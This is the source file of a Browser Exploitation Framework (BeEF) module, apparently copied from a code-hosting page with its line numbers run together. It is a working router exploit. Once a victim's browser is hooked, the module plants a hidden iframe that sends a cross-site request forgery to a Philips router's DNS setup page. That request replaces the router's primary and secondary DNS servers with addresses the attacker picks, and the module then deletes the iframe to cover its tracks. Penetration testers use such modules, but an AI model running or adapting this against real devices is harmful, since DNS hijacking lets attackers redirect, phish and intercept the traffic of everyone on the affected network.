Path: blob/master/modules/exploits/router/phillips_dns_hijack/command.js
1875 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// config9var target = 'http://<%= @rhost %>/cgi-bin/setup_dns.exe';10var dns1 = '<%= @dns1 %>';11var dns2 = '<%= @dns2 %>';12var timeout = 15;1314// validate primary DNS server IP address15if (!beef.net.is_valid_ip(dns1)) {16beef.debug('Invalid Primary DNS server IP address was provided');17beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");18return;19}20var parts = dns1.split('.');21var dns1_1 = parts[0];22var dns1_2 = parts[1];23var dns1_3 = parts[2];24var dns1_4 = parts[3];2526// validate secondary DNS server IP address27if (!beef.net.is_valid_ip(dns2)) {28beef.debug('Invalid Secondary DNS server IP address was provided');29beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");30return;31}32var parts = dns2.split('.');33var dns2_1 = parts[0];34var dns2_2 = parts[1];35var dns2_3 = parts[2];36var dns2_4 = parts[3];3738// change DNS39var philips_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [40{'type':'hidden', 'name':'page', 'value':'setup_dns'},41{'type':'hidden', 'name':'logout', 'value':''},42{'type':'hidden', 'name':'dns1_1', 'value':dns1_1},43{'type':'hidden', 'name':'dns1_2', 'value':dns1_2},44{'type':'hidden', 'name':'dns1_3', 'value':dns1_3},45{'type':'hidden', 'name':'dns1_4', 'value':dns1_4},46{'type':'hidden', 'name':'dns2_1', 'value':dns2_1},47{'type':'hidden', 'name':'dns2_2', 'value':dns2_2},48{'type':'hidden', 'name':'dns2_3', 'value':dns2_3},49{'type':'hidden', 'name':'dns2_4', 'value':dns2_4}50]);5152beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");5354// clean up55cleanup = function() {56document.body.removeChild(philips_iframe_<%= @command_id %>);57}58setTimeout("cleanup()", timeout*1000);5960});61626364